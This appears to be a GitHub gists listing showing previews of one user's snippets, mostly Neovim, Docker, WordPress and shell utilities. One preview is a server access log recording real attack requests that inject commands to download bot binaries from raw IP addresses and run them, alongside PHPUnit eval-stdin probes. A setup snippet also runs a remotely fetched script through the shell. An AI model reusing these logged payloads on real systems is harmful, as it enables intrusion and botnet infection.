This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
docker run -it --rm archlinux \ | |
sh -c 'useradd -m neovim && usermod -aG wheel neovim; | |
pacman -Suy --noconfirm base-devel git wget; | |
echo "neovim ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers; | |
sudo -u neovim sh -c "cd /tmp/ && git clone https://aur.archlinux.org/yay.git && cd yay && makepkg --noconfirm -si && /usr/bin/yay -Y --gendb; /usr/bin/yay -y;" | |
sudo -u neovim sh -c "cd /tmp/ && $(wget -O- https://raw.githubusercontent.com/coffebar/dotfiles/master/fetch-nvim-conf.sh)"' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Local project-level config for Neovim | |
-- Based on https://gist.github.com/coffebar/6c09c75d5dafcf1d76cc1079e140939c | |
local augroup_name = "tmp_local_group" | |
local augroup = vim.api.nvim_create_augroup(augroup_name, { clear = true }) | |
local unbind_table = {} | |
local function bind(op, outer_opts) | |
outer_opts = outer_opts or { noremap = true } | |
return function(lhs, rhs, opts) | |
opts = vim.tbl_extend("force", outer_opts, opts or {}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use actix_web::{get, web, App, HttpServer}; | |
use serde::Deserialize; | |
use std::sync::Mutex; | |
struct AppStateWithCounter { | |
vote_modal: Mutex<i32>, // <- Mutex is necessary to mutate safely across threads | |
vote_1: Mutex<i32>, | |
vote_2: Mutex<i32>, | |
vote_3: Mutex<i32>, | |
vote_4: Mutex<i32>, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar | |
alias wp="php ~/wp-cli.phar" | |
DOMAIN=localhost | |
wp core download | |
wp core config --dbname=wordpress \ | |
--dbuser=wordpress \ | |
--dbpass="wordpressDbPass" \ | |
--dbhost=localhost \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
docker run -d --restart=always --name tor-socks-proxy -p 0.0.0.0:9150:9150/tcp peterdavehello/tor-socks-proxy:latest |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
122.155.10.51 - - [19/Jul/2020:13:22:44 +0200] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 404 484 "-" "-" | |
102.44.142.173 - - [20/Jul/2020:21:55:03 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+165.22.101.145/beastmode/b3astmode;chmod+777+/tmp/b3astmode;sh+/tmp/b3astmode+BeastMode.Rep.Jaws HTTP/1.0" 404 481 "-" "Hello, world" | |
195.54.160.21 - - [21/Jul/2020:08:48:06 +0200] "POST /api/jsonws/invoke HTTP/1.0" 404 473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" | |
195.54.160.21 - - [21/Jul/2020:08:48:06 +0200] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.0" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" | |
195.54.160.21 - - [21/Jul/2020:08:48:06 +0200] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.0" 404 490 "-" "Mozilla/5.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env zsh | |
# Script to create backups from ssh server | |
# to LUKS encrypted disk on Linux | |
# Preparation: | |
# 1. Intsall "cryptsetup" and create LUKS encrypted partition | |
# save your passphrase into securely stored file - personal usb stick | |
# or other encrypted partition/folder | |
# Unmount your partition | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
cd "$(dirname "$0")" | |
inotifywait --format '%f' -m -e close_write -e moved_to "./" |\ | |
( | |
while read | |
do | |
FILE_TO_UNZIP=$(echo $REPLY | grep --only-matching --ignore-case -P "^.+\.(zip|rar|7z)$") | |
if [ "$FILE_TO_UNZIP" != "" ] | |
then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
function send_telegram { | |
echo "$1" | |
} | |
ver1path="$0.1.cache" | |
ver2path="$0.2.cache" | |
ver1=$(cat $ver1path) | |
curl --silent "https://9gag.com/gag/a2Z7Vpw" 2>&1 | grep 'fbq(' > "$ver2path" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cloudflare -> Crypto -> Origin Certificates | |
Create RSA Certificate | |
Save Certificate and Private Key | |
Add it to Vesta with authorities (Cloudflare Origin CA) from https://support.cloudflare.com/hc/en-us/articles/218689638-What-are-the-root-certificate-authorities-CAs-used-with-CloudFlare-Origin-CA- | |
-----BEGIN CERTIFICATE----- | |
MIID/DCCAuagAwIBAgIID+rOSdTGfGcwCwYJKoZIhvcNAQELMIGLMQswCQYDVQQG |
NewerOlder